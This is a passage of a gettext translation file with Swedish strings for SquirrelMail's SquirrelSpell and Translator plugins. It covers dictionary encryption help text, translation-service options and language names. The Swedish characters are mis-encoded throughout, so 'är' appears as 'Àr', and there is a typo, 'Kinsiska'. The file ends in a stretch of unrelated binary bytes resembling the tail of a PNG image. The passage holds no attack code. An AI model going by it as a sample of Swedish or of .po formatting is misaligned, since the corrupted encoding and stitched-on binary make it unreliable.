"intrÄng och din ordlista blir stulen. Ordlistan Àr krypterad med ditt kontos "
"lösenord. Detta gör det mycket svÄrt för andra att se vad som Àr sparat dÀr."

msgid ""
"If you forget your password, your personal dictionary will become "
"unaccessible, since it can no longer be decrypted. If you change your "
"mailbox password, SquirrelSpell will recognize it and prompt you for your "
"old password in order to re-encrypt the dictionary with a new key."
msgstr ""
"Om du glömmer ditt lösenord kommer du inte att kunna anvÀnda din personliga "
"ordlista. Om du byter ditt kontos lösenord, mÀrker SquirrelSpell det och "
"frÄgar efter ditt gamla lösenord för att sedan kryptera om ordlistan med det "
"nya lösenordet."

msgid ""
"Please decrypt my personal dictionary and store it in a clear-text format."
msgstr "Dekryptera min personliga ordlista och spara den i klartext."

msgid "Change crypto settings"
msgstr "Ändra krypteringsinstĂ€llningar"

msgid "Your personal dictionary is currently not encrypted."
msgstr "Din personliga ordlista Àr för nÀrvarande okrypterad."

msgid ""
"You may wish to encrypt your personal dictionary to protect your privacy in "
"case the webmail system gets compromized and your personal dictionary file "
"gets stolen. When encrypted, the file's contents look garbled and are hard "
"to decrypt without knowing the correct key (which is your mailbox password)."
msgstr ""
"Du kanske vill kryptera din personliga ordlista för att skydda den om "
"webbpostsystemet blir utsatt för intrÄng och din ordlista blir stulen. I "
"krypterad form Àr ordlistan olÀsbar och svÄrforcerad utan en giltig nyckel "
"(ditt lösenord)."

msgid ""
"If you decide to encrypt your personal dictionary, you must remember that it "
"gets &quot;hashed&quot; with your mailbox password. If you forget your "
"mailbox password and the administrator changes it to a new value, your "
"personal dictionary will become useless and will have to be created anew. "
"However, if you or your system administrator change your mailbox password "
"but you still have the old password at hand, you will be able to enter the "
"old key to re-encrypt the dictionary with the new value."
msgstr ""
"Om du vÀljer att kryptera din ordlista och glömmer ditt lösenord, du kan "
"inte lÀngre anvÀnda den utan mÄste skapa en ny. Om du eller "
"systemadministratören byter ditt kontos lösenord kan du ange ditt gamla "
"lösenord för att dekryptera ordlistan och sedan kryptera om den igen med det "
"nya lösenordet."

msgid ""
"Please encrypt my personal dictionary and store it in an encrypted format."
msgstr "Kryptera min personliga ordlista och spara den i skyddat format."

#, php-format
msgid "Deleting the following entries from %s dictionary:"
msgstr "Stryker följande ord frÄn %s ordlista:"

msgid "All done!"
msgstr "FĂ€rdig."

msgid "Personal Dictionary Updated"
msgstr "Personliga ordlistan har uppdaterats"

msgid "No changes requested."
msgstr "Inga Àndringar begÀrdes."

msgid "Please wait, communicating with the server..."
msgstr "VĂ€nta, kommunicerar med servern..."

msgid ""
"Please choose which dictionary you would like to use to spellcheck this "
"message:"
msgstr ""
"VÀlj vilken ordlista som skall anvÀndas för att kontrollera detta brev:"

msgid "SquirrelSpell Initiating"
msgstr "Startar SquirrelSpell"

msgid ", "
msgstr ", "

#, php-format
msgid "Settings adjusted to: %s with %s as default dictionary."
msgstr "InstÀllningarna justerade till: %s med %s som förvald ordlista"

#, php-format
msgid "Using %s dictionary (system default) for spellcheck."
msgstr "AnvÀnder %s ordlista (systemstandard) för stavningskontroll."

msgid "International Dictionaries Preferences Updated"
msgstr "InstÀllningar för internationell ordlista har uppdaterats"

msgid ""
"Please check any available international dictionaries which you would like "
"to use when spellchecking:"
msgstr ""
"VÀlj de internationella ordlistor som du vill anvÀnda vid stavningskontroll:"

msgid "Make this dictionary my default selection:"
msgstr "AnvÀnd denna ordlista som förval:"

msgid "Make these changes"
msgstr "Spara Àndringarna"

msgid "Add International Dictionaries"
msgstr "LĂ€gg till internationella ordlistor"

msgid "Please choose which options you wish to set up:"
msgstr "VÀlj de instÀllningar som du vill konfigurera:"

msgid "Edit your personal dictionary"
msgstr "Modifiera din personliga ordlista"

msgid "Set up international dictionaries"
msgstr "Konfigurera internationella ordlistor"

msgid "Encrypt or decrypt your personal dictionary"
msgstr "Kryptera eller dekryptera din personliga ordlista"

msgid "Personal dictionary encryption options are not available"
msgstr "KrypteringsinstÀllningarna Àr inte tillgÀngliga"

msgid "SquirrelSpell Options Menu"
msgstr "InstÀllningar för SquirrelSpell"

msgid "Translator"
msgstr "ÖversĂ€ttare"

msgid "Saved Translation Options"
msgstr "Sparade översÀttningsinstÀllningar"

msgid "Your server options are as follows:"
msgstr "Dina serverinstÀllningar Àr följande:"

msgid "Maximum of 150 words translated, powered by Systran"
msgstr "Maximalt 150 översatta ord (anvÀnder Systran)"

#, php-format
msgid "Number of supported language pairs: %s"
msgstr "Antal sprÄkpar som stödjs: %s"

msgid "No known limits, powered by Systran"
msgstr "Inga kÀnda begrÀnsningar (anvÀnder Systran)"

msgid "No known limits, powered by Translation Experts' InterTran"
msgstr "Inga kÀnda begrÀnsningar (anvÀnder Translation Experts' InterTran)"

#, php-format
msgid "Number of supported languages: %s"
msgstr "Antal sprÄk som stödjs: %s"

msgid "Hellenic translations, no known limits, powered by Systran"
msgstr "Helleniska översÀttningar, inga kÀnda begrÀnsningar (anvÀnder Systran)"

msgid "Russian translations, maximum of 500 characters translated"
msgstr "Ryska översÀttningar, maximalt 500 översatta tecken"

msgid ""
"You also decide if you want the translation box displayed, and where it will "
"be located."
msgstr ""
"Du kan ocksÄ vÀlja om översÀttningsrutan ska visas, och var den skall "
"placeras."

msgid "Select your translator:"
msgstr "VÀlj din översÀttare:"

msgid "When reading:"
msgstr "Vid lÀsning:"

msgid "Show translation box"
msgstr "Visa översÀttningsrutan"

msgid "to the left"
msgstr "till vÀnster"

msgid "in the center"
msgstr "i mitten"

msgid "to the right"
msgstr "till höger"

msgid "Translate inside the SquirrelMail frames"
msgstr "ÖversĂ€tt inom SquirrelMails ramar"

msgid "Translation Options"
msgstr "ÖversĂ€ttningsinstĂ€llningar"

msgid ""
"Which translator should be used when you get messages in a different "
"language?"
msgstr "Vilken översÀttare skall anvÀndas om du fÄr brev i ett annat sprÄk?"

#, php-format
msgid "%s to %s"
msgstr "%s till %s"

msgid "Chinese, Simplified"
msgstr "Kinsiska, förenklad"

msgid "English"
msgstr "Engelska"

msgid "Chinese, Traditional"
msgstr "Kinesiska, traditionell"

msgid "Dutch"
msgstr "NederlÀndska"

msgid "French"
msgstr "Franska"

msgid "German"
msgstr "Tyska"

msgid "Greek"
msgstr "Grekiska"

msgid "Italian"
msgstr "Italienska"

msgid "Japanese"
msgstr "Japanska"

msgid "Korean"
msgstr "Koreanska"

msgid "Portuguese"
msgstr "Portugisiska"

msgid "Russian"
msgstr "Ryska"

msgid "Spanish"
msgstr "Spanska"

msgid "Translate"
msgstr "ÖversĂ€tt"

msgid "Brazilian Portuguese"
msgstr "Brasiliansk portugisiska"

msgid "Bulgarian"
msgstr "Bulgariska"

msgid "Croatian"
msgstr "Kroatiska"

msgid "Czech"
msgstr "Tjeckiska"

msgid "Danish"
msgstr "Danska"

msgid "Filipino (Tagalog)"
msgstr "Filippinska (Tagalog)"

msgid "Finnish"
msgstr "Finska"

msgid "Hungarian"
msgstr "Ungerska"

msgid "Icelandic"
msgstr "IslÀndska"

msgid "Latin"
msgstr "Latin"

msgid "Latin American Spanish"
msgstr "Latinamerikansk spanska"

msgid "Norwegian"
msgstr "Norska"

msgid "Polish"
msgstr "Polska"

msgid "Romanian"
msgstr "RumÀnska"

msgid "Serbian"
msgstr "Serbiska"

msgid "Slovenian"
msgstr "Slovenska"

msgid "Swedish"
msgstr "Svenska"

msgid "Turkish"
msgstr "Turkiska"

msgid "Welsh"
msgstr "Walesiska"

msgid "Indonesian"
msgstr "Indonesiska"

msgid "to English"
msgstr "till Engelska"

msgid "from English"
msgstr "frÄn Engelska"

msgid "Interface language"
msgstr "SprÄk för grÀnssnittet"

msgid "Translation direction"
msgstr "ÖversĂ€ttningsriktning"

msgid "Arabic"
msgstr "Arabiska"

msgid "Delivery error report"
msgstr "Rapport om leveransfel"

msgid "Undelivered Message Headers"
msgstr "Brevhuvud för olevererade brev"

msgid "This image has been removed for security reasons"
msgstr "Av sÀkerhetsskÀl Àr denna bild avlÀgsnad"
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚